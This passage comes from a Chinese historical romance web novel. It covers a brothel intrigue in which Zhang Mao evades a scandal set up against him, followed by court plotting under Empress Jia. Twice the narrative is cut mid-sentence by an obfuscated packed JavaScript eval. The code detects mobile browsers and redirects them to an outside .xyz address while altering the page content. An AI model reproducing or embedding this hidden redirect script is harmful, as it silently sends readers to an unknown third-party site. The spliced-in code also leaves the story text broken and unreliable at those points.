假母将她引到了二楼东侧尽头的一方雅间里,卖起人情道:“小郎运气好,明天不巧是旬日,今日厢房本都满了,只余这间,原也是贵人订下的,只是临时没能成行,这才空出来。”又吩咐仆从上茶水,自己亲自下楼去催那些刚入行的小女郎来待客。 雅室里只余裴妍和容秋,二人无奈地相视一笑,都长长舒一口气。 容秋环视四周,到里间给裴妍倒了杯水,又拿簪子验过,这才捧给她道:“女郎,如今我们虽进了这馆子里,可也看不到张郎君啊!” 是啊!裴妍懊恼,这可怎么办?总不能跟老鸨说,她们是女郎,特地来捉家里兄长的? 一筹莫展之际,就听隔壁房间突然人声鼎沸。叫好声、鼓掌声不绝于耳,还有个大嗓门的在里面起哄:“张二郎好酒量,不愧是凉州来的,一坛九酝春饮下跟没事人似的!” 张二郎,凉州? 裴妍眼睛一亮,与身后的容秋对视一眼,难不成张茂就在隔壁?啧啧!运气真好! 33. 风流馆里风流事,暗潮窟里涌暗潮 房间隔音还是不错的,隔壁房间那么热闹,她们这里只能隐约听到几句。 裴妍干脆耳朵贴着墙,却依然听不太清楚。 容秋淡定地站在裴妍身后观察了一阵,又对着这面墙东敲敲西拍拍,终于让她发现,原来靠近门缝的墙面是拿木框和纸糊的,不是实墙,对面的声音大概也是从这里传来的。 容秋取下头上束发的银簪,用巧劲拿簪尾戳了墙面几下,不多时,就扎出几个粗粗的针眼来。 裴妍把眼睛放过去,将将好可以看清隔壁房间的场景。 只见房内东倒西歪地胡坐了五六个郎君,除去张茂穿戴尚算齐整外,各个衣衫半敞。房里有女伎奏乐,郎君身边各有美貌的伎子奉酒。 那坐在主位上的红衣郎君手里抱着一个衣衫半褪的女郎。他一边跟张茂喝酒,一边跟他玩笑:“茂弟,你说你在官署端着也就算了,怎么到了这地方还这么冷心冷情的,看看你身边的小美人,都快急哭了。” 张茂身边的女郎约莫十六七岁,长得如花似玉,见状,立刻给张茂奉上美酒,委屈巴巴道:“郎君自见到奴,就没露过欢颜,莫非看不上奴?” 首座的郎君高声道:“茂弟,你身边的燕娘可是清漪馆的行首!若是连她你都看不中,哥哥真怀疑你不喜欢女人了!” 这话就不中听了,张茂亦沉下脸来。 这个贾越是侍中贾模的庶子,行事素来放诞,若非看在他是贾家人,张贾两家也算沾点姻亲,他也不会应下这欢宴。 张茂压下火气,作不胜酒力状,对上首的贾越道:“佳人在怀,茂何敢不动心。只是今日酒多,有心无力,让诸位见笑了。” 贾越却道:“我看茂弟分明还没有喝够,燕行首,你若连酒都敬不了,还是趁早让贤吧!” 燕娘闻言,生怕得罪贾越这个纨绔,赶紧又斟满一杯奉与张茂,神态可怜道:“郎君请满饮此杯,就当怜惜奴家!” 张茂无奈,接过伎子手里的酒,仰头一杯见底,然而下一瞬,便一头栽倒在席上。 众人见了,皆面面相觑,刚还夸他酒量好呢,怎么酒宴才开始,他就醉倒了? 贾越看了,却抚掌大笑,对燕娘道:“还是燕娘的酒好,我的九酝春茂弟足喝一坛都不见醉,燕娘的清酒,茂弟一杯就倒了。” 那燕娘盈盈起身,对贾越及诸人行礼道:“诸公慢饮,奴扶张小郎去奴那里醒醒酒。” 诸人立刻起哄笑起来,什么醒酒啊,分明是行那等风流事。 贾越是主家,照顾宾客是他的责任,就听他嘱咐道:“那就劳驾行首好好照应我兄弟,银钱么,算我账上就是!” 却说裴妍看到张茂被那燕娘架着出了门,心里焦急万分,立刻招呼容秋,二人也远远跟了出去,就见那伎子将张茂架到对面不远的一间房里,然而她进去没多久便又匆匆忙忙的出来了。 裴妍和容秋对视一眼,都觉得蹊跷,怎么这伎子刚进去就出来,只留张茂一人在里面? 趁着廊上无人看守,二人干脆偷摸着溜进去一探究竟。 就见房里白纱低垂,屏风后的内室里,依稀有人躺卧床上。 裴妍正欲上前。 容秋却一把拉住她,对她摇了摇头,让裴妍在床边等着,自己则蹑手蹑脚地上前撩开床帏,却一下子愣在原地——榻上赫然躺着一个闭着眼、不知是昏过去还是睡着了的俏郎君,脸生的很,却不是张茂! 张二郎呢?裴妍和容秋都觉得奇怪。 “你们怎么在这!”床帏后响起熟悉的声音,裴妍抬头,就见张茂分开床尾的纱帘,缓步而出。 裴妍和容秋皆是一惊,不禁面面相觑,这……到底是怎么回事? 门外有动静传来,张茂来不及解释,立即拉着二女躲到他方才的藏身地——床尾的帷幕后。 为行风月事时有暧昧影绰之感,伎馆的香闺帐帘颇多。这也给张茂等人有了隐匿之所。 只见燕娘带着贾越及一众同僚匆匆进门,边走边指着榻上道:“张小郎方才突然头疼得紧,郎君快给看看要不要请扁鹊?” 说着,燕娘撩起床帏,让众人看清床上。 却听围上来的郎君们“咦”地一声,脸上皆迷惑之态。 她转头看去,只见床上只躺着一个昏睡过去的陌生郎君,哪还有张茂的影子? 有人认出床上的人,指着他道:“这不是祁阳侯家的曹三郎么!” 此话一出,众人皆惊,祁阳侯曹家三郎是京里有名的断袖,他怎么睡在了这里? 裴妍同样有一肚子疑问,正想转头问张茂。 张茂赶紧贴唇竖了一根手指,示意她噤声。 张茂的手修长白净,唇薄而红,压在唇上,颇有点白雪红梅的意境,竟让同样是美人的裴妍心头一跳。 她强忍下内心悸动,心领神会地点点头,屏气凝神,转头静静地看着外面的动静。 此事蹊跷,众人皆是官署里混老的人,很快就理出了点头绪:张茂醉酒,来燕娘房里醒酒,燕娘却以他身体不适为名,引诸人前来查看,结果进了房间,却发现张茂不在,床上躺着的是有断袖之名的曹三郎! 没得说,若是张茂也在床上,少不得就是一出分桃大戏! 可是细想之下,又疑点重重。试问,若张茂真好男风,他大可关起门来行事,又如何能让燕娘去请众人来围观? 这事若成了,伎馆里的伎子恩客再大加宣扬一番,对张茂将将聚敛起的才名官声将是致命一击。 一时间众人看向燕娘的眼神颇为复杂,连带着看贾越也不清白起来。 贾越心虚地摸摸鼻子。他是主家,燕娘是他点名侍奉的伎子,如今出了这等纰漏,明晃晃的栽赃不成,反倒落了一身腥。他暗恼燕娘成事不足败事有余,却拿目下无可奈何。 这时,房门外传来一声惊呼:“五郎?你们围在这里作甚?” 众人回头,只见一个笑容可掬的胖郎君路过门口——王导白衣宽袍,头发半束,一手摇着麈尾,一手搂着一位清丽佳人,信步而入。 贾越行五,听得王导招呼,赶紧殷勤地上前朝他行了一礼。 二人年岁相当,但贾越的堂嫂王景风却是王导的侄孙女,王导又是琅琊王家嫡子,无论辈分还是出身都比他高许多。 王导问话,诸人不敢多言,怕惹祸上身。 贾越只好假作糊涂,向王导说明始末。 王导意味不明地看了眼贾越和他身旁的燕娘,云淡风轻地打圆场道:“我方才见张二郎下楼了,还与他打了招呼,确实醉得不轻。至于曹三郎,想来是他一时多饮,自己走错了房间。” 贾越听罢立刻看了眼燕娘。 燕娘便面遮脸,做担忧状:“张郎君怕是醉糊涂了,不晓得身边有没有人照应?”说罢就要出去查看。 王导一抬麈尾,拦住她道:“无妨,我既看到,岂能放心他一人走?方才已差人送他回去了。”又朝贾越拱手:“相逢不若偶遇,许久不见五郎,今日畅饮何如?” 王导相邀,对贾越这等依附家门而活的纨绔庶子而言,是求之不得的福分。贾越怎敢拒绝?只得做恭敬状:“固所愿也,不敢请耳!” 王导临行前,特意指了指床上酣睡的曹三郎,对身后的仆从道:“三郎醉酒,尔等将他送回府上。” 贾越见状,愈发心灰意冷。 他是在韩芷面前立了军令状的,此番事败,回去不定被这位姑奶奶怎么教训呢! 然而王导明晃晃地要保张茂,他能怎么办?他一个贾家庶子,还能跟王家对着干不成?只好眼睁睁地看着曹三郎被王家的仆从架了出去。 等众人都散尽了,裴妍只觉惊出一身冷汗,更要命的是,床尾空间狭小,她整个人几乎是被张茂半抱在怀里的。 方才她只关注外面,没有留心自己,如今回过神来,只觉身后的那只抚着自己背部的大掌,带着难以纾解的燥热。 刚才紧张没觉得,现下外面没人了,裴妍身后酥麻麻的,二人离得极近,裴妍甚至能闻到张茂呼在自己头顶的酒气,不可控的,一阵醉意袭上腰肢。 张茂亦不好受,那个燕娘给他的酒里不知掺了什么,他半洒半饮,到底还是喝了一些进肚子里,如今只觉从小腹到四肢百骸热意层层上涌,尤其裴妍还紧紧贴着他。 初夏衣裳单薄,裴妍独有的体香透过单衫传到他身上。他只觉呼吸之间都尽是裴妍的味道。 明明屋里人已经散尽了,他却仍抱着裴妍舍不得松开,甚至手掌不可控的紧了紧,恨不能将她揉进身体里。 他二人这般情状,可怜了龟缩在一边的容秋。她只觉自个太过多余,恨不能缩成个鹌鹑。 终于,容秋受不了这等既尴尬又暧昧的气氛,自作主张地撩帘而出,机警地开了个门缝,查探外面情状。见屋外一时无人,正欲回报敌情,回头就见张茂与裴妍仍紧紧抱在一块,二人脸上都有些同寻常的红晕。 容秋只觉头大,这二人,怎么这个时候黏糊糊的! 可是真的不能再耽搁了! 她只得生硬地咳了两声,禀报道:“人都走了,我们也快走吧。” 此时屋外忽而狂风大作,带着暑热的雨丝从窗口涌进屋里,案上的烛火明灭不定,光影斑驳,打在张茂俊秀的脸上。 裴妍抬头,似能看到他额角两条隐忍的青筋噗噗跳着。 张茂用尽气力,才将落在裴妍身上的目光收回。他克制着放开裴妍,自己翻身跃到案边,给自己倒了杯冷茶醒酒。 裴妍脸上仍泛着红晕,可刚才的事情显然有猫腻。 她忍不住问他:“这怎么一回事啊?” 贾越、燕娘还有那个莫名其妙的曹三郎,连带着突然出现的王导,整件事让裴妍觉得不对劲,连自己本是吃醋而来的初衷都忘了。 张茂放下茶盏,对她云淡风轻地一笑:“一个蠢人行的无聊游戏而已。” 裴妍还待再问,张茂却反客为主,冷下脸道:“还没审你呢,这是什么地方,你怎敢来此?” 裴妍一时噎住。 张茂转而一个眼风扫向容秋。 容秋心神一凛,赶紧跪地,老实交代:“女郎担心郎君,特来查看。” 此言一出,室内瞬时又陷入无声的境地。 裴妍恨不能捂住容秋的嘴。见张茂看过来,立时低头红脸,浑身发燥。 张茂只觉好不容易克制住的心跳又快了起来。他勉力稳住自己,风声大雨点小地叱了二人:“胡闹!”心里却暖洋洋的,也没有再责罚容秋。 容秋暗戳戳舒了口气,要么大家都夸她会说话呢!郎君明明对裴元娘有意思,元娘呢,对郎君也并非无心,只是二人都还没有戳破那层纸罢了。 她刚才故意实话实说,郎君心里不定怎么高兴呢! 此时,房外传来一阵从容的叩门声,众人立即噤声。 容秋谨慎地拉开一条门缝,见到来人,赶紧回头禀道:“是王郎君。” 原来方才王导只敬不饮,很快便把贾越灌醉,又遣散了诸人。这才来到张茂这里。 此事幸得王导出手,否则即便张茂再身手矫捷,有不会武的裴妍搅局,他也很难全身而退。 监察御史捕风捉影,他们张家刚刚起势,可禁不住这等闲言碎语。 张茂朝王导肃容一礼。 王导坦然受之,虽疑惑裴妍为何来此,却也无心深究,只叮嘱他们道:“我还有客在隔壁,不宜久待。门口是我的部曲,诸位跟他们走就是。” 他又把张茂拉到一边,二人叽叽咕咕不知聊了什么。 裴妍只知她离开的时候,老鸨心惊胆战地恭送她们,脸上惨白,似受了不小的惊吓。 当夜,韩芷正与男宠床帷行乐。鲁国公贾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001227|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谧突然闯入。他不多言,随手甩出一个划花了脸的女子。 那女子抬起鬼一样的烂脸,伸手就去够床上的韩芷,嘴里喊着:“奴冤枉!” 韩芷捂着胸口尖叫,拽着被子往后躲。她身后的男宠也被吓得不轻,直往床尾蹿,一屋子鬼哭狼嚎。 贾谧冷脸站在屋子中间,厉声警告妹妹:“你若再敌友不分,胡乱行事,别怪为兄替你清理门户!” 韩芷自知事泄,除去最先的慌乱,竟镇定了下来。 她把那鬼一样的女子一脚踹到了床下,又捂着胸口质问他的兄长:“区区一介清客,我竟开罪不得?” 贾谧额角青筋直跳,然而对面是他的亲妹子,再气也得忍着,只好耐着性子,咬牙切齿地给她分析利弊:“张二郎的阿耶是娘娘得用的人。” 韩芷哼笑:“什么阿猫阿狗,都是你们要用的。” 贾谧气急,在屋内来回踱了两步,正欲说什么,回头见妹妹还倚在男宠怀里。那男宠对上贾谧鹰隼般阴冷的眼神,浑身一颤,赶忙推开韩芷,提着裈档,连滚带爬地退了出去。 贾谧这才对妹妹道:“东宫的蒋美人即将临盆,术士看过,此胎必是男儿。” 韩芷秀眉微挑,穿衣的手顿了顿——太子要有长子,今上要有长孙了?那东宫岂非更难撼动? “我们与娘娘是一体的,不进则退,退则必死。如今形势危急,娘娘正盼着我们助她一臂之力。你怎可在这个节骨眼上,为了个人私怨,节外生枝?那张茂确实不算人物,可他背后的张轨呢?张华呢?裴頠呢?” 韩芷虽混不吝,却也明白自己的身家荣辱皆系于皇后。 她心烦意乱,止住还要劝她的兄长,不耐烦道:“晓得了,牵一发而动全身嘛!以后,我远着那位就是!” 贾谧见妹妹终于上道,松口气之余,又软声安慰:“你且忍忍,待娘娘事成,要多少张二郎都随你!” 韩芷翻了个白眼,却不再驳他。 夜半三更,万籁俱静,只两侧的桂树枝里蝉鸣阵阵,听在累了一天的仆役耳里,不啻为催眠的佳曲——守二门的仆从睡倒一片。 裴妍被张茂一张披风从头罩到脚地带回了府,路上偶遇几个护院。然而张二郎在府中亲卫中素来有威望,他把一身黑袍的裴妍隐于身后,又有夜色掩护,那些护卫竟视而不见地走了。 裴妍就这般有惊无险地回了自己的小院。 幸而小郭氏最近正忙着裴憬的婚事,三媒六聘,每样都让人头疼,对女儿的管教也就松了许多。 裴妍这么晚回来,除去院里几个贴身侍婢,外人竟不得知。 张茂将裴妍送到屋外,转身欲走,却发现自己宽大的袖角被一只素手紧紧攥着,回头就见裴妍低着头,一动不动地站在身后。 张茂叹气,以为她怕自己跟小郭氏告状,一时心软起来,回身道:“夜深露重,快些进到屋里去!今日之事,我不向夫人告发就是。” 裴妍不语,拽着他袖口的手也没有松掉。 张茂疑惑地看向她。 “不是这个,”裴妍支吾道,良久,她好似鼓足勇气,抬起含羞的小脸,眼里晶光闪耀,仿若天上细碎的星子:“阿茂哥,以后不要再去那等地方,好不?” 张茂一愣,好不容易止住的心绪又乱起来。 她本不该过问的! 他去章台风月地,与她何干?他们一个是附庸而来的清客,一个是主家的贵女,除去点头之交,还能剩点什么?若非同窗过一年,他们之间甚至连说话的交情都不该有! 将来他有妇,她有夫。他的妇人在内室里见着了她。她们聊天的时候,裴元娘若还记得他,大概会说一句:“哦,余幼时尝与张二郎伴大兄读书来着!” 是啊!将来,他们等闲见不着的!这才是他与她该当有的结局! 然而,扪心自问,他甘心如此吗? 张茂一言不发地看着裴妍。他甘心将这个不知何时进驻他内心的少女拱手相让吗?他甘心看着她嫁给别的男子,放她在别的男人身下承欢,为别人生儿育女吗? 不,他不甘心! 可是,不甘心又能如何? 如今的张家将将起势,还没有分量能打动钜鹿郡公招他为婿。 张茂铁拳紧握,眼里暗潮涌动。 天上的乌云突然散开一块,皎洁的月色自头顶泻下,落在他眼中,晶莹透亮,好似漫天繁星。 裴妍小心翼翼地问他:“阿茂哥?” “好!”张茂听到自己如是说,“不过,你也不可再行女扮男装的荒唐事。否则,我会担心。” 裴妍脸上犹如上了海棠色的胭脂——张茂说,会担心她? 不是为了阿兄,不是为了叔父,纯粹是他,担心自己! 二人各自陷在自己的心绪里。 “元娘,”张茂突然道,“西洲的猫儿石,你可喜欢?” “当然!”怎么突然问起这个?裴妍有些懵懂。 “比之东海的水玉呢?” “什么?”裴妍抬头,莫名其妙地看向对面的男子。 云过月出,柔和地光晕打在年轻俊朗的郎君脸上,剑眉之下,是同样闪亮的眸子,犹如星辰大海,带着海啸前的宁静,诱她深入。 她有些心虚地避开他如有实质的目光,不知怎的,她下意识觉得,这个问题看似简单,却不能轻易回答。 张茂眼神微暗,就听他自嘲一笑:“罢了,若你成婚时,我张家依然无权无势,你就当这世上从没有张二郎这个人!” 言罢,他突然转身走了出去。 皓月再次被阴云遮盖,落在他身上的光晕逐渐黯淡,直至隐没在道边的竹林深处。 裴妍一时愣在原地。张茂的话,她似乎听懂了一些。 夜风大作,将她本不平顺的鬓角吹得更散,一如此刻她纷乱的心绪…… 34. 祸患从来起萧墙,哪管鼙鼓入雍凉 十日后,剿匪的大军还朝。主将欧阳建率张轨等副将回京受赏。 城西听风坊,张常侍府上。 书房门窗紧闭,里面的人却不觉暑意,只因角落里放着一个井口大的铜盆,里面满满当当装着叠如小山的冰块,幽幽往外散着寒意——这是天子赐下的冰敬。 书案旁吊烧着红陶茶炉,滋滋往外冒着热气。一只骨节宽大却布满粗茧的手稳稳握住茶炉木柄,将炉子自吊绳上卸下,缓缓地将碧绿带沫的茶汤倒入父兄的漆展中。 张茂熟练地煮水分茶,若行云流水,一气呵成。 清新的香气瞬间袭满屋子,张轨品茗,点头:“二郎煮茶精益不少。” 张寔亦赞:“好茶!” 张茂的脸却隐于袅袅茶烟之后,既不吃茶,也不说话,静静地听父兄交谈。 张寔先恭喜父亲:“阿父生擒郝散,致敌军群龙无首溃不成军,如此大功,天子与娘娘皆看在眼里,常与左右夸赞阿父。” 张轨呷了一口热茶,剑眉微蹙,未见喜意:“人是我抓的,杀他的却是欧阳大郎。我本欲留郝散诱敌,可惜欧阳急于立功,竟是不准。” 欧阳建与鲁国公贾谧的心腹石崇是姻亲,论在军中的资历,远不及张轨。但奈何人家家世好,张轨一把年纪了,只能给他做副。 张寔只好避重就轻地问:“阿父可是担心那逃逸的郝度元?” 郝散有个弟弟,名度元,亦是悍匪。 “郝二郎生性狡黠,心智武功远胜其兄,此次逃脱,必成大患。”张轨摇头道:“只是,我所忧者,却不是他。” 张茂想了想,接口道:“可是担心那刘元海?” 张轨欣慰地看了小儿子一眼。 此次郝氏兄弟反叛,总要有人被问责。皇后本想就势收拾了驻守邺城的成都王,然而太子却把责任推给了监管五部军事的刘渊,称他有管教不严之责。 天子痴傻,却知道内外亲疏之别,便顺坡下驴,罢了刘渊的官。 “其人野心颇大,朝廷虽夺其职,却未囚其身,恐为大患。可惜朝中多庸蠹,我几番上书谏言,上面都不了了之。” 即便张轨与张司空、裴侍中交好,然而这二人皆是文职,不懂军务,文武殊途,他所言,亦未能得到重视。 张寔放下茶盏,叹道:“还是咱家无权惹的祸!” 事已至此,父子三人皆无话。这个世道就是这样,出身决定一切。他家是边地来的土豪,想要在世家鳞立的朝堂立足,只有少说多干,甚至,拿命来换! 张寔对父亲道:“阿耶,郝度元也好,刘渊也罢,来日必要搅弄风云。于朝廷,自是大祸。于我家,未必是灾。” 张寔并不觉得这是太坏的事,他早就受够了蜗居京城的日子。这些年他韬光养晦,静看朝堂波谲云诡,在宫里少说多听,权当养气。可谁甘心一辈子如此? 张茂看了眼兄长,沉默地低下头。他明白阿兄的意思。秦雍多氐羌,偏赵王受小人蛊惑,行事偏激,引得各部怨声载道。如今五部匈奴、马兰羌、卢水胡皆有不臣之心,想来不久,西北边地必乱。 然而朝廷如今正为皇后与太子争权而拉帮结派,无人关注此事。 赵王昏聩,雍凉必镇守不住,而这,正给了出身凉州土著的张家建功立业的好时机! 张茂看向主座上的父亲,就见张轨抚着密髯,讳莫如深地叹了一句:“可怜扶风武王留下的基业,竟被作践至此!”这是默认了长子的话。 张茂抚着杯口的手渐渐收紧。说不清是激动还是悲哀。国家动乱,食肉者不顾黎民,只顾自己争权夺利,苍生何辜,受此横灾? 然而,国乱民乏,武将才能起势,要想打破这皇亲与门阀罩起的泼天大网,非得不破不立。 乱世出英雄,自古如此! 他心里正在家国之间天人交战,就听他父亲突然道:“二郎十又八矣,是时候娶妇了!” 张轨不知怎的,转移了话题,讲起小儿子的婚事来。 张茂一凛,赶紧放下茶杯,对着父亲郑重行了一礼,婉拒道:“阿耶,这两年正是家门起势的时候,儿如今无暇他顾,不若加冠后再娶妇。” 张轨疑惑地看向小儿子,娶妇与振兴家门,有矛盾? 张寔多少看出点弟弟对裴元娘的心思。时机未到,他不好在父亲面前点破,只是帮着弟弟道:“二郎说的是,以如今我张家的门楣,高门大户看不上,出身低的娶之无益,高不成低不就,确实难选,索性再等等。” 张轨看了眼长子。当初为保家门,只好病急乱投医,让大儿子娶了与贾家同宗的商户女。而今家门危机过去,大儿媳这些年给张家开枝散叶,贤惠温婉,轻易休弃不得,这也是他觉得对不住长子的地方。 如今轮到二郎娶亲,家里形势好转了,张轨既想给小儿子娶个门第高点的女郎,又怕长子多想。没想到,未等他开口,张寔这个做哥哥的却能主动为弟弟说话。 张轨点头,兄弟同心,才是家门稳固之本! 张茂见父亲点头,悬着的心才放了下来。他的手不自觉地拢进袖子里,摸到袖囊中那枚被磨得发白的香囊。 两年!离阿妍及笄还有不到两年! 以世家女晚嫁的作风,裴家必要留她到及笄后才出嫁。而这两年,正是他张家弄潮的时候。 汉高祖起自亭长,魏武帝出身阉宦,用那造反头子陈胜的话说,王侯将相,宁有种乎!给他两年时间,他定要在乱局中杀将出一条血路来! 若那时,阿妍心里还有他……即便冒司马家刀锋,他也定要留住她! 三个月后。 东宫里,司马遹抱着刚得的麟儿亲了又亲,急命身边的小黄门去给天子报喜,丝毫不顾及身边太子妃失落的眼神。 小黄门快哭了,天子此时早已下榻,他何敢夜扣宫门? 何况今日是月中,皇帝定宿在皇后宫中。他此时去报信,扰天子事小,惊皇后事大,说不得,自己这条小命就要交代在今夜。 然而太子之命他亦违抗不得,真是去也不是,不去也不是! 太子妃王惠风委婉劝道:“岂能为一小儿惊扰帝后?夫君明早再报不迟!” 太子最不耐烦她,一把甩开她的手,冷笑:“吾儿非汝所出,汝自是不急!” 言罢,竟将皇长孙交给一旁宫人,亲自去中宫报信。 太子妃追赶不及,眼见着太子疾去的身影渐渐消失在漆黑的夜色里。 太子妃颓然靠在宫门边,身后小儿啼哭不止,黄门宫女瑟缩跪了一地。夜风撩起她轻薄的广袖,把袖囊吹得鼓鼓的,好似一只风暴里迷路的蝴蝶。 第二日,东宫得子的喜讯便传遍了京畿,同时,太子遭言官弹劾,不顾宫禁,夜叩中宫寝殿的事亦被传得沸沸扬扬。 可怜傻天子再次受了夹板气。 本来他做了祖父,有了长孙,还是很高兴的,也不想追究太子夤夜扰乱宫禁的事儿。 然而这些年皇后架空朝政,就连皇帝直属的御史台也尽受贾后掌控。 她揪着太子夜叩中宫的把柄,弹劾太子的奏章似雪花飞来。 朝野上下都在为皇后与太子斗法的事议论纷纷。豪门世家、各路诸侯却纷纷明哲保身。 身份最为敏感的尚书令王衍直接告病在家,司徒王戎也告了假,在京城逗留了小半年的王导则趁机携新妇和爱妾溜回了东海国。 以东海王为首的诸王,秋请前集体发了风寒,纷纷上书告假请罪——没人敢在这个节骨眼上趟浑水。 裴妍的婚事自然也被耽搁了。 裴妃特意写了一封很长的信与小郭氏解释。 小郭氏又将信转与婆婆看,婆媳二人相对无言。时局如此,怨谁呢? 皇后与太子频频斗法,皇后掌着权势,太子占着大义,二人背后还各有世家豪门暗中支持,几个回合下来,互有胜负。 两方势力如此胶着着,很快,便转到了来年。 这一年似乎格外不顺。 先是开春——灾风伤稼,黎民耕稼失其时。风灾刚结束,四月,彗星现于西方,孛于奎,至轩辕,太史令卜大噩。待入了夏,竟是祸不单行——六月,东海雨雹,荆、扬、兖、豫、青、徐六州大水。各类灾害从春持续到夏,不是刮风,就是下雨,死于水灾、饥荒者不计其数。 于是天灾又引起人祸——各地都有流民逃蹿,在灾情最严重的地方,又形成了声势浩大的乞活军,杀府君,分田粮。 至于张家父子所担心的郝散之弟郝度元,得知他踪迹时,他果然已逃蹿至冯翊北地的马兰羌,成了氐帅齐万年的手下大将,与马兰羌、卢水胡一起,公然举兵反晋。 除此之外,还有一统匈奴五部的刘渊,亦公然摆脱成都王节制,虽未有大动作,但整兵秣马,蠢蠢欲动。 各地灾情、兵情如雪花般,飞到了洛阳的皇宫里。 月上柳梢头,弘训宫里依旧灯火通明。 上首,皇后贾南风一身朱孔阳红的燕居服,头上花钗未簪,只一头简单的堕马髻,正端坐龙座,静静地看着赵王呈上的密件。 酷暑时节,殿上四角皆置了冰鉴,孙秀跪坐下首,只觉凉意袭人,浑身发寒,忍不住打了个寒噤,不知是冷的,还是被贾后越来越铁青的脸色吓的。 年后匈奴大旱,草原上牲畜死了一大片。雍凉境内的匈奴各部缴不上赵王规定的税赋,便有几个头领求见赵王,请求灾年减免些税。 然而赵王却一点不肯通融。其中有个首领是急性子,与赵王争执起来。赵王竟直接命人把他杀了。同行的酋长更加群情激奋,纷纷恐吓要进京陈情。赵王怕事情闹大,竟一不做二不休,把同来的酋长全都杀了!如此一来,雍凉境内的左部、北部匈奴算是被他得罪光了。 赵王本来在雍凉就不得人心,在他杀的那帮酋长里,有一个酋长的儿子干脆召集起境内的匈奴人,打着为父亲复仇的旗号,公然起兵反晋。 哪知赵王对此不仅不害怕,甚至觉得这是一个向朝廷伸手要钱的大好时机! “又要钱,又要粮?”贾后冷笑着将竹简“啪”的一声扔到了孙秀面前,“各地都伸手问我要,我倒要问问你,钱粮从何处来?我是皇后,不是神仙!” 母老虎发威,孙秀暗暗叫苦,这次赵王特地派他来洛阳打秋风,就是想着他那三寸不烂之舌,定能说动贾后。 “禀娘娘,大王所说的钱粮就在……娘娘手上。”孙秀事前便想好说辞,巧言令色道。 “哦?本宫有这么一大笔钱财却不自知?”贾后动了动,又好气又好笑地问。她倒想看看,这个令抠门的赵王都奉为座上宾的谋臣能有什么好主意。 “昔年安阳乡侯镇荆州,不过一年,便聚集荆州佳物。何也?”孙秀反问。 安阳乡侯就是石崇。这是说石崇在任荆州刺史期间,命府兵假扮盗贼,劫掠来往富商,从而迅速致富的故事。 “这……”贾后有些犹豫,不得不说,这法子委实够损,堂堂朝廷,焉能行那土匪的勾当? “娘娘,非常时行非常事。如今,各地灾乱频起,娘娘但有所得,亦尽数用于平乱赈灾,非出于私心。正可谓,取之于民,用之于民。”孙秀面不改色地道。 到此,贾后确实动心了。这几年国家就没有太平的时候,不是这里天灾,就是那里民乱。国库早就见底。她总不能拿她与天子的私帑(tang,三声)来补贴国库吧? 想到京城里那些富得流油的豪门富商,她不禁两眼放光,那就是一匹匹待宰的肥羊啊! 皇后对孙秀很赞许,当下嘉奖了他,一口答应赵王所求,又赏赐他美女十名。 显然皇后对赵王身边的这位宠臣也有耳闻,知他喜银钱美女。要钱,她舍不得,朝廷正是穷的时候,要美女,宫里多的是,随便赏! 孙秀看到十个如花似玉的美貌宫女俏生生地站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001228|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在自己面前,眼睛都直了,假作客气地与贾后推让一番,就却之不恭地收下了,喜滋滋地左拥右抱地出了大殿。 孙秀一直揽着美人行到宫门口,看到停在宫门前的自家牛车,这才一抹脸,上了车。 车厢里,孙秀的独子孙会早已等候多时。 他紧张地问父亲:“阿耶,娘娘怎么说?” 孙秀自得道:“自是言听计从!” 孙会大喜,肥如土猪的身躯乐得一颤一颤的,连连朝父亲弯腰作揖:“如此,赵王必有重赏,恭喜阿耶!” 另一厢,贾后连夜叫来贾谧,将孙秀的主意和盘托出。 二人秘议一番,皆觉此计可行。 只是此事终有损名称,且富商背后多有世家支持,只能秘密行事,不可让外人得知。 不过干这事总得有帮手,贾谧手下最有经验的自然是始作俑者石崇。这劫掠京畿商贾的重任便毫无悬念地托给了他。 石崇明面上一口应承,背地里却恨死了孙秀。当初他为求富贵,行此偏门,后来即便荣宠加身,跻身重臣,却依然被清流诟病,子女婚嫁都受了影响。 如今,好不容易被人们淡忘的旧事又被孙秀这厮扒楞了出来,甚至还倒逼着他不得不重操旧业,帮着贾后干这打家劫舍的勾当。 这就好比一个从良多年好不容易有了点贤惠名声的妓女被人硬逼着重新接客一样,能不膈应么? 后来,他听说孙秀虽连夜回长安复命,但他的独子孙会还在京里做官。 于是,石崇在一次打劫商贾的时候,“不小心”把他那正巧“路过”的宝贝儿子也跟着一起劫了。 据说孙会伤的不轻,光卧床养病就足足躺了三个月! 孙秀知道后,气得目眦欲裂,却又无可奈何,主意是他出的,他总不能指责石崇干得不对吧?问起来,石崇理由现成的,谁让你家儿子跟我要劫的商贾走一条道呢?你儿子运气不济,能怪我不成? 孙秀只得打落牙齿和血吞,暂时吃了这哑巴亏。可他素来是个睚眦必报的人,发誓定要找机会报复回去!孙秀父子就此与石崇结下了梁子,此为后话。 不多久,京城里突然盗贼四起,不止京畿过往行路的商队,就连京中定居的富户也有很多家宅被盗。 朝中问责声一浪高过一浪,贾后假惺惺地责令有司加紧破案,又命北军加强治安。 诡异的是,无论是掌管京畿的府君还是负责巡逻的执金吾查了半天,却一点“头绪”都没有,最后只能推到北边刚起事的匈奴叛乱上,说是匈奴人派细作特地来洛阳打劫钱财用于军资,草草结案。 